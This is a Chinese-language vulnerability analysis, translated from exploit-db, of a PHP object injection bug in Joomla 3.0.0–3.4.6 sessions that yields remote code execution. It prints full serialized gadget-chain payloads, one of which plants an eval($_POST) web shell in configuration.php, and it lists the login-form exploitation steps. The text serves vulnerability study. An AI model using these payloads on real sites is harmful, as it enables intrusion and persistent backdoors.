Rusty Joomla RCE漏洞分析
2019-10-12 21:09:37 Author: mp.weixin.qq.com(查看原文) 阅读量:77 收藏

研究人员在Joomla CMS 3.0.0到3.4.6版本(发布时间为2012年到2015年12月)中发现了一个PHP对象注入漏洞,攻击者利用该漏洞可以实现远程代码执行。

CVE-2015-8562是也是有个php对象注入漏洞,并且在3.4.5版本中进行了修复。将本漏洞与CVE-2015-8562对比分析,发现:
+ 本漏洞的利用与环境无关,因此更加可靠。

+ 漏洞影响的版本为3.0.0到3.4.6。

漏洞分析

下面是用读写函数的代码:

写函数会接受2个参数:来自cookie的session_id和序列化的对象。在将数据保存到数据库中之前,函数用‘\0\0\0’替换了 ‘\x00\x2a\x00’ (chr(0).’*’.chr(0)) 。这是因为 MySQL无法保存序列化对象中‘\x00\x2a\x00’前缀的Null Bytes和$protected变量。

另一方面,在读取时,read函数会用‘\x00\x2a\x00’ 来替换 ‘\0\0\0’ 来重构原来的对象。

这一替换的主要问题是用3字节替换了6字节的数据:

这一行为从3.00版本中引入一直持续到3.4.6版本。从3.4.7版本开始,部分代码仍然存在,但session在数据库中是base64编码和保存的。

研究人员可以通过action参数来修改session对象。这样,就可以注入‘\0\0\0’ (read函数中被替换的3字节),使其由于不正确的大小导致无法通过对象有效性验证。

如果将login form作为目标,将 ‘my\0\0\0username’ 放入username域中,在数据库中就可以看到:

s:8:s:"username";s:16:"my\0\0\0username"

如果session对象是从read函数中读取的,‘\0\0\0’就会被替换,如下:

s:8:s:"username";s:16:"myN*Nusername" --> Invalid Size

替换的字符串只有13字节长,但声明的字符串长度仍然是16字节。因此可以利用溢出的问题来伪造有个能实现RCE的新对象。

漏洞利用

为了触发任意对象并实现RCE,研究人员需要2个参数,第一个用来引发overflow,第二个含有漏洞利用的最后一步。目标就是login form的username和password域。

利用的步骤为:
- 用‘\0\0\0’来溢出username域使其处在password域中

- 重构一个有效的对象

- 发送漏洞利用

- 出发漏洞利用

研究人员首先可以将字符串的大小变小。通过在username域这样做,可以进行伪造,并使其在下一个研究人员控制的参数中结尾。

[..]s:8:s:"username";s:10:"MYUSERNAME";s:8:"password";s:10:"MYPASSWORD"[...]

从中可以看出,username值的结尾到password的开始的距离是27字节。有漏洞的替换过程会将该值减少3的倍数(3字节-6字节),所以研究人员在username域至少需要8次 ‘\0\0\0’才能引发1个字符的溢出,研究人员在POC中使用了9此\0\0\0。

下面代码中黑体的部分是对username的非序列号读:

(在数据库中)

s:8:s:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:10:"MYPASSWORD"

(读和替换后)

s:8:s:"username";s:54:"NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:10:"MYPASSWORD"

(实现对象注入):

s:8:s:"username";s:54:"NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:10:"MYPA";s:2:"HS":O:15:"ObjectInjection"[...]

注入对象有很多稳定的方式,研究人员利用的来自CVE-XXXX漏洞利用的payload作为开始点,但是呢需要做一些修改:

O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:71:"eval(base64_decode($_SERVER['HTTP_ZWQXJ']));JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}

Payload会用 JDatabaseDriverMysqli 对象来说明,并为其他对象的数组分配disconnectHandlers属性。这是因为类中定义的__destruct会调用$this->disconnect(),导致call_user_func_array():

对于disconnectHandlers数组中的每个值,call_user_func_array()都会引用对象 (&$this) 作为参数来执行。研究人员认为只要控制函数调用就可以了,因此使用了SimplePie对象。

在SimplePie::init中,有很多 gadget:

这就是研究人员认为原来的payload为什么不会工作的原因,因为必须要满足一个条件才能接受这行代码:必须声明$this->cache,$parsed_feed_url[‘scheme’]中也必须要含有一些内容。

绕过该条件非常简单。首先,将cache_name_function设置为system,比如‘https://something/;id’ 就可以了。第一个命令失败了但是分号之后的运行正常。
但是在开发Metasploit 模块时,研究人员对这一方案并不满意。如果目标环境禁用了system、exec这样的函数,就无法进行下一步的漏洞利用了。

所以,研究人员回到assert函数,查看是否可以在检查该条件的同时实现PHP代码执行。条件检查的是一个含有有效方案的字符串,比如 http://,但是这样引发语法错误。为了绕过,研究人员使用了OR (||) 语句,将该方案变成一个变量,比如:

<PHP CODE> || $a=’http//’;

但是遇到特殊字符(如?)时有出现了受限的问题,因此研究人员在root目录用 eval()函数创建了一个PHP文件,但是没有?符号,web服务器无法翻译代码。在root目录中有一个configuration.php文件。该文件就是一个class的声明,加上配置参数。研究人员在该文件结尾加上一个eval,并用来执行含有以下payload的PHP代码:

file_put_contents('configuration.php','if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';

结果就是如下的调用:

call_user_func("assert","file_put_contents('configuration.php','if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';")

最终的对象:

s:2:"HS":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:125:"file_put_contents('configuration.php','if(isset($_POST[\'test\'])) eval($_POST[\'test\']);', FILE_APPEND) || $a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}

现在就有了开发一个漏洞利用所需的所有条件。然后研究人员用login form来发送漏洞利用,这会将恶意对象保存到数据库中。

然后跟着第一个响应的重定向,payload就会从数据库中提取出来,session_start() 函数也会反序列化。这就实现了RCE。

注:本文翻译自exploit-db.com


文章来源: https://mp.weixin.qq.com/s/bSgu3cwxUsJbK3b7D0LlRA
如有侵权请联系:admin#unsafe.sh